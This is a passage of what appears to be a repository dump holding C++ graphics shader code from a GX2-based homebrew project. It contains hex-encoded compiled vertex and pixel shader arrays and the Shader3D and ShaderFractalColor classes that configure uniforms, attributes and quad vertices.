0x02818001,0x7d0c3660,0x03a10081,0x7e082a40,\n    0x07080000,0x0100c20f,0x07088000,0x0104622f,\n    0x00458001,0x000cea4f,0x07288081,0x0204f66f,\n    0x00850000,0x0200620f,0x00858000,0x05046a2f,\n    0x07080001,0x0108c24f,0x01818001,0x030c726f,\n    0x07cc8080,0xfe04c22f,0x01c10000,0x0500660f,\n    0x00e18000,0xfe04622f,0x00450001,0x0308624f,\n    0x07cc9f01,0x7f0ce26f,0x00c10080,0xfe00e60f,\n    0x07cc1f00,0x7e00660f,0x00a10001,0xfe08c22f,\n    0x01a10001,0x0408624f,0x00818001,0x7f086a6f,\n    0x07c09f80,0x7e048200,0x07e00f00,0xfe008220,\n    0x07cc1f01,0x7e086a4f,0x07c09f81,0x7f0c8240,\n    0x07c08f80,0xfe088260,0x2c34800d,0xe3b4f15e,\n    0x7642ed30,0x7408600d\n};\n\nstatic const u32 cpVertexShaderRegs[] = {\n    0x00000108,0x00000000,0x00000002,0x00000001,\n    0xffff0001,0xffffffff,0xffffffff,0xffffffff,\n    0xffffffff,0xffffffff,0xffffffff,0xffffffff,\n    0xffffffff,0xffffffff,0x00000000,0xfffffffc,\n    0x00000002,0x00000000,0x00000001,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x00000000,0x0000000e,0x00000010\n};\n\nstatic const u32 cPixelShaderProgram[] =\n{\n    0x20000000,0x000008a4,0x03000000,0x01004085,\n    0x23000000,0x000044a8,0x35000000,0x000000a4,\n    0x06000000,0x01004085,0x36000000,0x00002ca8,\n    0x50000000,0x0000c080,0x42000000,0x00001ca0,\n    0x00800000,0x88062094,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0xfd001f80,0x900c0060,0x0000803f,0x00000000,\n    0x02011f80,0x8c110000,0xf8402000,0x9006a00f,\n    0x02552001,0x00000020,0x01248082,0x80020060,\n    0xfe3c1f00,0x1000e04f,0xfe041f80,0x1033c00f,\n    0xfe482081,0x80060020,0xfee40f81,0x0289e30f,\n    0x02c51f80,0x80060060,0xfeec0f80,0x0285634f,\n    0xfec80f80,0x80000060,0xfe4ca081,0x9000e04f,\n    0xfe281f00,0x80060000,0xf8c01f81,0x9006e02f,\n    0xfee00f81,0xfd80636f,0x0000803f,0x00000000,\n    0x7fc49f81,0xf880e34f,0xfe381f80,0x00000000,\n    0x7de00f81,0xfe800360,0x01011f80,0x8c100000,\n    0x00a81f00,0x9000e02f,0x00000082,0x80020060,\n    0x00002040,0x00000000,0xfeac9f80,0xfd00624f,\n    0x3333333f,0x00002040,0xfee88f80,0x0101620f,\n    0x00cc1f80,0x9000e06f,0xf8c09f01,0x80060020,\n    0xfe2c1f80,0x9006e04f,0xfee48f81,0xf880630f,\n    0x7fc81f80,0xfd800360,0x0000803f,0x00000000,\n    0x000ca001,0x80000000,0x00091f00,0x800c0020,\n    0x00051f00,0x800c0040,0x00011f80,0x800c0060,\n    0xfe2c0000,0x90002000,0xfe288000,0x90002020,\n    0xfe240001,0x90002040,0xfe208081,0x90002060,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x10000100,0x01100df0,0x00008010,0xecdfea0d,\n    0x99720984,0x041cab0d,0xa28a9ccd,0x95d199a5\n};\nstatic const u32 cPixelShaderRegs[] = {\n    0x00000102,0x00000002,0x14000002,0x00000000,\n    0x00000002,0x00000100,0x00000101,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x0000000f,0x00000001,0x00000010,\n    0x00000000\n};\n\nShader3D * Shader3D::shaderInstance = NULL;\n\nShader3D::Shader3D()\n    : vertexShader(cuAttributeCount)\n{\n    //! create pixel shader\n    pixelShader.setProgram(cPixelShaderProgram, sizeof(cPixelShaderProgram), cPixelShaderRegs, sizeof(cPixelShaderRegs));\n\n    colorIntensityLocation = 0;\n    fadeDistanceLocation = 4;\n    fadeOutLocation = 8;\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_color_intensity\", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff });\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_fade_distance\", GX2_VAR_TYPE_FLOAT, 1, fadeDistanceLocation, 0xffffffff });\n    pixelShader.addUniformVar((GX2UniformVar){ \"unf_fade_out_alpha\", GX2_VAR_TYPE_VEC4, 1, fadeOutLocation, 0xffffffff });\n\n    samplerLocation = 0;\n    pixelShader.addSamplerVar((GX2SamplerVar){ \"sampl_texture\", GX2_SAMPLER_TYPE_2D, samplerLocation });\n\n    //! create vertex shader\n    vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs));\n\n    modelMatrixLocation = 0;\n    projectionMatrixLocation = 16;\n    viewMatrixLocation = 32;\n    vertexShader.addUniformVar((GX2UniformVar){ \"modelMatrix\", GX2_VAR_TYPE_MAT4, 1, modelMatrixLocation, 0xffffffff });\n    vertexShader.addUniformVar((GX2UniformVar){ \"viewMatrix\", GX2_VAR_TYPE_MAT4, 1, projectionMatrixLocation, 0xffffffff });\n    vertexShader.addUniformVar((GX2UniformVar){ \"projectionMatrix\", GX2_VAR_TYPE_MAT4, 1, viewMatrixLocation, 0xffffffff });\n\n    positionLocation = 0;\n    texCoordLocation = 1;\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_position\", GX2_VAR_TYPE_VEC3, 0, positionLocation });\n    vertexShader.addAttribVar((GX2AttribVar){ \"attr_texture_coord\", GX2_VAR_TYPE_VEC2, 0, texCoordLocation });\n\n    //! setup attribute streams\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT);\n    GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT);\n\n    //! create fetch shader\n    fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount());\n\n    //! initialize default quad texture vertexes as those are very commonly used\n    //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000\n    posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize);\n    texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize);\n\n    //! position vertex structure and texture coordinate vertex structure\n    int i = 0;\n    posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] =  1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] =  1.0f; posVtxs[i++] =  1.0f; posVtxs[i++] = 0.0f;\n    posVtxs[i++] = -1.0f; posVtxs[i++] =  1.0f; posVtxs[i++] = 0.0f;\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize);\n\n    i = 0;\n    texCoords[i++] = 0.0f; texCoords[i++] = 1.0f;\n    texCoords[i++] = 1.0f; texCoords[i++] = 1.0f;\n    texCoords[i++] = 1.0f; texCoords[i++] = 0.0f;\n    texCoords[i++] = 0.0f; texCoords[i++] = 0.0f;\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize);\n}\n\nShader3D::~Shader3D()\n{\n    if(posVtxs)\n    {\n        free(posVtxs);\n        posVtxs = NULL;\n    }\n    if(texCoords)\n    {\n        free(texCoords);\n        texCoords = NULL;\n    }\n\n    delete fetchShader;\n    fetchShader = NULL;\n}\n"
  },
  {
    "path": "src/video/shaders/Shader3D.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef SHADER_3D_H_\n#define SHADER_3D_H_\n\n#include \"VertexShader.h\"\n#include \"PixelShader.h\"\n#include \"FetchShader.h\"\n\nclass Shader3D : public Shader\n{\nprivate:\n    Shader3D();\n    virtual ~Shader3D();\n\n    static Shader3D * shaderInstance;\n\n    static const unsigned char cuAttributeCount = 2;\n    static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize;\n    static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize;\n\n    FetchShader *fetchShader;\n    VertexShader vertexShader;\n    PixelShader pixelShader;\n\n    f32 *posVtxs;\n    f32 *texCoords;\n\n    u32 modelMatrixLocation;\n    u32 viewMatrixLocation;\n    u32 projectionMatrixLocation;\n    u32 positionLocation;\n    u32 texCoordLocation;\n\n    u32 colorIntensityLocation;\n    u32 fadeDistanceLocation;\n    u32 fadeOutLocation;\n    u32 samplerLocation;\npublic:\n    static Shader3D *instance() {\n        if(!shaderInstance) {\n            shaderInstance = new Shader3D();\n        }\n        return shaderInstance;\n    }\n    static void destroyInstance() {\n        if(shaderInstance) {\n            delete shaderInstance;\n            shaderInstance = NULL;\n        }\n    }\n\n    void setShaders(void) const\n    {\n        fetchShader->setShader();\n        vertexShader.setShader();\n        pixelShader.setShader();\n    }\n\n    void setAttributeBuffer(const u32 & vtxCount = 0, const f32 * posVtxs_in = NULL, const f32 * texCoords_in = NULL) const\n    {\n        if(posVtxs_in && texCoords_in && vtxCount)\n        {\n            VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in);\n            VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in);\n        }\n        else {\n            //! use default quad vertex and texture coordinates if nothing is passed\n            VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs);\n            VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords);\n        }\n    }\n\n    void setProjectionMtx(const glm::mat4 & mtx)\n    {\n        VertexShader::setUniformReg(projectionMatrixLocation, 16, &mtx[0][0]);\n    }\n    void setViewMtx(const glm::mat4 & mtx)\n    {\n        VertexShader::setUniformReg(viewMatrixLocation, 16, &mtx[0][0]);\n    }\n    void setModelViewMtx(const glm::mat4 & mtx)\n    {\n        VertexShader::setUniformReg(modelMatrixLocation, 16, &mtx[0][0]);\n    }\n    void setColorIntensity(const glm::vec4 & vec)\n    {\n        PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]);\n    }\n    void setAlphaFadeOut(const glm::vec4 & vec)\n    {\n        PixelShader::setUniformReg(fadeOutLocation, 4, &vec[0]);\n    }\n    void setDistanceFadeOut(const float & value)\n    {\n        PixelShader::setUniformReg(fadeDistanceLocation, 4, &value);\n    }\n\n    void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const {\n        GX2SetPixelTexture(texture, samplerLocation);\n        GX2SetPixelSampler(sampler, samplerLocation);\n    }\n};\n\n#endif // SHADER_3D_H_\n"
  },
  {
    "path": "src/video/shaders/ShaderFractalColor.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <malloc.h>\n#include <string.h>\n#include \"ShaderFractalColor.h\"\n\nstatic const u32 cpVertexShaderProgram[] =\n{\n    0x00000000,0x00008009,0x20000000,0x0000eca1,\n    0x00c00000,0x88068093,0x01400200,0x9a048013,\n    0x9c000000,0x000044a0,0x3c200000,0x88060094,\n    0x02400000,0x88062014,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x0765a101,0x9000e00f,0x0761a101,0x9000e02f,\n    0x03001f00,0x900c8040,0x03041f80,0x900c8060,\n    0x076da101,0x9000e04f,0x0769a181,0x9000e06f,\n    0x0745a101,0x9000c00f,0x0741a181,0x9000c02f,\n    0x074da101,0x9000c04f,0x0749a181,0x9000c06f,\n    0x0bc9a000,0x7f00e20f,0x0bc92080,0x7f04e22f,\n    0x0bc9a001,0x7f08e24f,0x0bc92081,0x7f0ce26f,\n    0x0725a101,0x9000a00f,0x0721a181,0x9000a02f,\n    0x072da101,0x9000a04f,0x0729a181,0x9000a06f,\n    0x0ac9a000,0x7e00c20f,0x0ac92080,0x7e04c22f,\n    0x0ac9a001,0x7e08c24f,0x0ac92081,0x7e0cc26f,\n    0x0ba5a000,0x7f00e20f,0x0ba52080,0x7f04e22f,\n    0x0ba5a001,0x7f08e24f,0x0ba52081,0x7f0ce26f,\n    0x08eda000,0x9000800f,0x08ed2080,0x9000802f,\n    0x08eda001,0x9000804f,0x08ed2081,0x9000806f,\n    0x09c9a000,0x7d00a20f,0x09c92080,0x7d04a22f,\n    0x09c9a001,0x7d08a24f,0x09c92081,0x7d0ca26f,\n    0x0aa5a000,0x7e00c20f,0x0aa52080,0x7e04c22f,\n    0x0aa5a001,0x7e08c24f,0x0aa52081,0x7e0cc26f,\n    0x0b81a000,0x7f006200,0x0b812080,0x7f046220,\n    0x0b81a001,0x7f080240,0x0b812081,0x7f0c0260,\n    0x08c9a000,0x7c00820f,0x08c92080,0x7c04822f,\n    0x08c9a001,0x7c08824f,0x08c92081,0x7c0c826f,\n    0x09a5a000,0x7d00a20f,0x09a52080,0x7d04a22f,\n    0x09a5a001,0x7d08a24f,0x09a52081,0x7d0ca26f,\n    0x0a81a000,0x7e008200,0x0a812080,0x7e048220,\n    0x0a81a001,0x7e086240,0x0a812081,0x7e0c4260,\n    0x0340a001,0x9000c00f,0x0344a001,0x9000c02f,\n    0x0048a001,0x9000c04f,0x004ca001,0x9000c06f,\n    0x0364a081,0x9000e02f,0x0360a001,0x9000e00f,\n    0x0324a001,0x90000020,0x0068a001,0x9000e04f,\n    0x006ca001,0x9000e06f,0x0320a081,0x90000000,\n    0x08a5a000,0x7c00820f,0x08a52080,0x7c04822f,\n    0x08a5a001,0x7c08824f,0x08a52081,0x7c0c826f,\n    0x0981a000,0x7d00a200,0x09812080,0x7d04a220,\n    0x0981a001,0x7d08a240,0x09812081,0x7d0c6260,\n    0x02890000,0x7e00c20f,0x02898000,0x7e04c22f,\n    0x0028a001,0x9000a04f,0x002ca001,0x9000c06f,\n    0x02498081,0x7e0caa6f,0x03890000,0x7f00e20f,\n    0x03898000,0x7f04e22f,0x02690001,0x7e08f64f,\n    0x03498001,0x7f0ce26f,0x03690081,0x7f08ca4f,\n    0x0881a000,0x7c00c200,0x08812080,0x7c04c220,\n    0x0881a001,0x7c08e240,0x08812081,0x7c0ca260,\n    0x0300a001,0x9000800f,0x0304a001,0x9000802f,\n    0x0008a001,0x9000804f,0x000ca001,0x9000806f,\n    0x01898080,0x0004aa2f,0x01890000,0x0000a20f,\n    0x02a58000,0x7e04c22f,0x01690001,0x7d08a24f,\n    0x01498081,0x7e0cc26f,0x02a50000,0x7e00f60f,\n    0x03a58000,0x7f04622f,0x02a50001,0x7f08e24f,\n    0x02658001,0x7d0ca26f,0x03a50080,0x7f00ca0f,\n    0x00890000,0x7c00820f,0x00898000,0x7c049220,\n    0x03a50001,0x7e08c24f,0x03658001,0x7f0ce26f,\n    0x03c18080,0xfe04862f,0x01a50000,0x7d008200,\n    0x01a58000,0x7d04622f,0x00690001,0x7c086240,\n    0x00498081,0x7c0c4260,0x02c10000,0x7f00e20f,\n    0x02c18000,0x7e04c62f,0x01a50001,0x7d080240,\n    0x01658001,0x7e0c0260,0x01c18080,0xfe040620,\n    0x03c10000,0x7e00620f,0x03a18001,0x7f0c622f,\n    0x02e10001,0x7f08764f,0x02a18001,0x7d0c766f,\n    0x03e10081,0x7e084a0f,0x02e80f00,0xfe000e00,\n    0x02c88f00,0x7c046220,0x02c81f01,0xff00c240,\n    0x02c89f01,0xfe04c260,0x00a50080,0x7c00aa00,\n    0x01c10000,0x0400760f,0x00a58000,0x0404622f,\n    0x00a50001,0x0308e24f,0x00658001,0x020c626f,\n    0x00c10080,0x0500ea0f,0x02c41f00,0x0000620f,\n    0x00c18000,0xfe04c22f,0x01e10001,0x0008624f,\n    0x01a18001,0x000c666f,0x00a18081,0xfe0ce66f,\n    0x00e10001,0x7f08620f,0x02048000,0x03046a2f,\n    0x02c41f01,0x06086a4f,0x02c49f01,0x060c6a6f,\n    0x02e00f80,0xfe000220,0x02c08f00,0xfe040200,\n    0x02e08f01,0xfe0c0240,0x02c01f80,0xfe080260,\n    0x8aa480ad,0x2bfc5ca6,0xb5e05b5b,0xd48dc71c\n};\n\nstatic const u32 cpVertexShaderRegs[] = {\n    0x00000108,0x00000000,0x00000004,0x00000001,\n    0xff000201,0xffffffff,0xffffffff,0xffffffff,\n    0xffffffff,0xffffffff,0xffffffff,0xffffffff,\n    0xffffffff,0xffffffff,0x00000000,0xfffffff8,\n    0x00000003,0x00000001,0x00000000,0x00000002,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x000000ff,0x000000ff,0x000000ff,\n    0x000000ff,0x00000000,0x0000000e,0x00000010\n};\n\nstatic const u32 cpPixelShaderProgram[] =\n{\n    0x20000000,0x000008a4,0x04000000,0x01004085,\n    0x23000000,0x0000eca1,0x9f000000,0x0000e0a8,\n    0xd8000000,0x000000a4,0x07000000,0x01004085,\n    0xd9000000,0x000048a8,0xec000000,0x000000a4,\n    0x0a000000,0x01004085,0xed000000,0x000050a8,\n    0x02010000,0x000030a0,0x00000000,0x88062094,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0xfd001f80,0x900c0060,0x0000803f,0x00000000,\n    0x03011f80,0x8c210000,0xfd001f00,0x900c0000,\n    0xfd001f00,0x900ca02f,0x00000002,0x80020040,\n    0x00048002,0x80020060,0xf8001f80,0x900cc04f,\n    0x0000803f,0x00000000,0xfea81f00,0x9000e00f,\n    0xfeac1f00,0x9000e02f,0xf8001f00,0x900c804f,\n    0xf8001f80,0x900ca06f,0x00000040,0x00000000,\n    0xfea01f00,0x00280000,0xfea41f00,0x00280020,\n    0xfe041f00,0x00280040,0xfd041f80,0x00280060,\n    0xaf67bb3e,0x00000080,0x7fc41f00,0x00000000,\n    0x7fc01f80,0x00000020,0xfe041f00,0x100ac00f,\n    0xfe001f80,0x100ac02f,0xfea01f00,0x00280000,\n    0xfea41f00,0x00280020,0xfe041f00,0x00280040,\n    0xfd041f00,0x1028e06f,0x7fc01f82,0x00000000,\n    0x8c65583e,0x00000080,0x7ea41f00,0x80000000,\n    0x7ea01f00,0x80000020,0xfee01f00,0x10006040,\n    0x7fc48f82,0x00000860,0xa7c4623b,0x00000000,\n    0xfea81f00,0x1000e00f,0x7fcc9f01,0x10006020,\n    0xfe001f00,0x000a0040,0xfe041f00,0x000a0060,\n    0xfea89f80,0x10008040,0x8c65583e,0x3acd13bf,\n    0xfeb81f00,0x7e04c20f,0xfebc1f00,0x7e00822f,\n    0x03c89f00,0x80060040,0xfea49f00,0x1000e06f,\n    0xfea41f81,0x10006060,0x00809043,0x8c65583e,\n    0x3acd13bf,0x00000000,0xfea81f00,0xf880a30f,\n    0xfe001f00,0x900ca02f,0x7dc41f00,0x1000e04f,\n    0xfe081f00,0xfd80636f,0x04081f80,0x900c800f,\n    0x0000803f,0x00000000,0xfea81f00,0xf900620f,\n    0xfea41f00,0xf900622f,0xfe0c1f00,0x900ca04f,\n    0xfec00f00,0x1000c46f,0xfefc0f80,0x10006000,\n    0x00000842,0x00000000,0xfeac1f00,0xf900620f,\n    0x7fc81f00,0x9000c02f,0x7dc49f00,0x9000e04f,\n    0x7df08f01,0x10008060,0x030c1f80,0x900ca02f,\n    0x00000842,0x00000000,0xfea41f00,0x80000000,\n    0x7ecc1f00,0x9000e02f,0x7e688000,0x80000040,\n    0xfea81f00,0x80000060,0x7d6c8081,0x80000000,\n    0xa7c4623b,0x00000000,0xfe001f00,0x000a0000,\n    0xfe0c1f00,0x000a0020,0xfea41f00,0x80000040,\n    0x03648000,0xfe08626f,0x7d648081,0xff00420f,\n    0xa7c4623b,0x00000000,0xfeb01f00,0x7e04620f,\n    0xfeb41f00,0x7f08662f,0x7c800001,0xff006e4f,\n    0xfe081f00,0x000a0060,0x03680081,0xfe0c4e0f,\n    0x00809043,0x00000000,0xfebc1f00,0x7f04620f,\n    0x7cc41f00,0x00000020,0x7cc49f00,0x1000e04f,\n    0xff901f00,0x00000060,0xfe981f80,0x00000000,\n    0x00809043,0x00000000,0xfea81f00,0xf900620f,\n    0x7cc41f00,0x00000020,0x00c09f00,0x1000c04f,\n    0xfe0c1f00,0x80010060,0xff001f80,0x80010000,\n    0x00000842,0x00000000,0xfea81f00,0xf900620f,\n    0xfecc9f01,0x80000020,0x7fc81f00,0x9000e04f,\n    0x7dc89f00,0x1000c86f,0xffe01f80,0x80000000,\n    0x00000842,0x00000000,0xfeac1f00,0xf900620f,\n    0x7ec81f00,0x9000802f,0xfec49f00,0x9000a040,\n    0xfea89f00,0x80000060,0xffe01f80,0x9000a060,\n    0x00000842,0xa7c4623b,0xfea41f00,0x80000000,\n    0x7ecc1f00,0x9000e02f,0xfe0c1f00,0x000a0040,\n    0x7c888081,0x80000000,0xa7c4623b,0x00000000,\n    0xfe001f00,0x000a0000,0xfeb81f00,0x7f08622f,\n    0xfea49f00,0x80000040,0x048c8081,0xff00420f,\n    0x00809043,0xa7c4623b,0xfeb01f00,0x7c04620f,\n    0x03600000,0xff00622f,0xfea49f00,0x80000040,\n    0xfe081f80,0x000a0060,0x00809043,0x0ccec73c,\n    0xfebc1f00,0x7f040200,0xfea09f00,0x90000020,\n    0xfe941f00,0x10000040,0xfe081f80,0x30080060,\n    0x00809043,0x0ccec73c,0x00041f00,0x20080000,\n    0x00a01f00,0x80000020,0x002c1f02,0x1000e04f,\n    0x00081f80,0x80010060,0x0ccec73c,0x00000000,\n    0xfe201f02,0x1000800f,0xfec81f03,0x80020020,\n    0xfe041f00,0x20080040,0xfe881f00,0x00000060,\n    0xfecc9f81,0x9000a06f,0xfe0c1f00,0x000a0000,\n    0xfe801f00,0x00000020,0xfec01f02,0x80020040,\n    0xfe281f02,0x1000c06f,0xfe841f82,0x1000804f,\n    0xfe041f00,0x000a0000,0x7fc81f02,0x00000020,\n    0xfe8c1f00,0x00000040,0xfecc9f03,0x80020060,\n    0xfe881f82,0x1000a00f,0x7cc01f02,0x00000000,\n    0xfe8c1f02,0x1000e02f,0xfec49f00,0x80000040,\n    0xfe081f00,0x000a0060,0x03c89f80,0x9000e04f,\n    0x7ecc9f03,0x00000000,0xfec01f00,0x80000020,\n    0x04c81f00,0x80000040,0x7c880f01,0xfe086a6f,\n    0x7dac8f81,0x9000800f,0x7da00f00,0xfe04620f,\n    0xfec01f00,0x80000020,0x03c01f00,0x80000840,\n    0x03ac0f00,0xfe08c66f,0xfebc9f80,0xfd00420f,\n    0xe07be53f,0x5c8e5a3f,0xfeb09f00,0xfd00620f,\n    0x05e81f00,0x9000f02f,0x7fe48f00,0xfe04624f,\n    0x04ec8f00,0xfe08626f,0x03840f81,0x7f08a20f,\n    0xe07be53f,0x5c8e5a3f,0x7e0c1f00,0x900ce00f,\n    0xfe0c1f00,0x900c802f,0x05cc1f00,0x9000e84f,\n    0xfeb89f80,0xfd00626f,0xe07be53f,0x5c8e5a3f,\n    0x7cc09f81,0x80000020,0x7fa40f00,0x00280000,\n    0xfe848f00,0x00280020,0x7fe80f00,0x00280440,\n    0xfd001f80,0x00280060,0x00000080,0x00000000,\n    0xfdc01f80,0xf800620f,0x00000243,0x00000000,\n    0xfea01f80,0x90000060,0x5555d53f,0x00000000,\n    0x02011f80,0x8c110000,0x02448002,0x80020000,\n    0xf8402000,0x9006a02f,0x02552081,0x00000040,\n    0xfe301f00,0x1000e06f,0xfe081f80,0x1033c02f,\n    0xfe4c2081,0x80060040,0xfee88f81,0x0289e32f,\n    0x02c59f80,0x80060000,0xfee08f80,0x0285636f,\n    0xfecc8f80,0x80000000,0xfe40a081,0x80000060,\n    0x00cc9f81,0x9000e04f,0xfe281f00,0x80060000,\n    0xf8c01f81,0x9006c02f,0xfee00f81,0xfd80636f,\n    0x0000803f,0x00000000,0x7ec49f81,0xf880e34f,\n    0xfe381f80,0x00000000,0x7de40f81,0xfe800360,\n    0x00011f80,0x8c100000,0xf8001f00,0x900ce00f,\n    0x00311f00,0x1000e02f,0x02a41f00,0xf910624f,\n    0x02a01f00,0xf910626f,0x00011f80,0x1033e04f,\n    0x00000040,0x00000000,0xfecc9f03,0x80020000,\n    0xfec81f83,0x80020060,0x7fd49f01,0x00000020,\n    0x7fd41f80,0x00000040,0xfe081f00,0x80010000,\n    0xfe041f80,0x80010060,0xfee00f01,0x80000000,\n    0xfeec0f81,0x80000020,0xfec01f00,0x00280000,\n    0xfec49f00,0x00280020,0x7fe00f00,0x00280040,\n    0xfd001f80,0x00280060,0x00000080,0x00000000,\n    0xfe001f80,0x00350000,0x00ec1f82,0x000c0260,\n    0x01011f00,0x800c0000,0x01051f00,0x800c0020,\n    0x002c1f00,0x80060040,0xf8008001,0x9006e06f,\n    0x01091f80,0x800c0000,0x01c01f00,0x90000000,\n    0xfe088001,0xfd80632f,0x01e81f00,0x90000040,\n    0x01c49f80,0x90000020,0x0000803f,0x00000000,\n    0x7fcc9f80,0xf880630f,0xfe20a081,0x80000000,\n    0x01cc1f80,0x90000060,0xc21e82a7,0x62ccc547,\n    0x1708607c,0x73ea57a6\n};\nstatic const u32 cpPixelShaderRegs[] = {\n    0x00000106,0x00000002,0x14000003,0x00000000,\n    0x00000003,0x00000100,0x00000101,0x00000102,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x00000000,0x00000000,0x00000000,\n    0x00000000,0x0000000f,0x00000001,0x00000010,\n    0x00000000\n};\n\nShaderFractalColor * ShaderFractalColor::shaderInstance = NULL;\n\nShaderFractalColor::ShaderFractalColor()\n    : vertexShader(cuAttributeCount)\n{\n    //! create pixel shader\n    pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs));\n\n    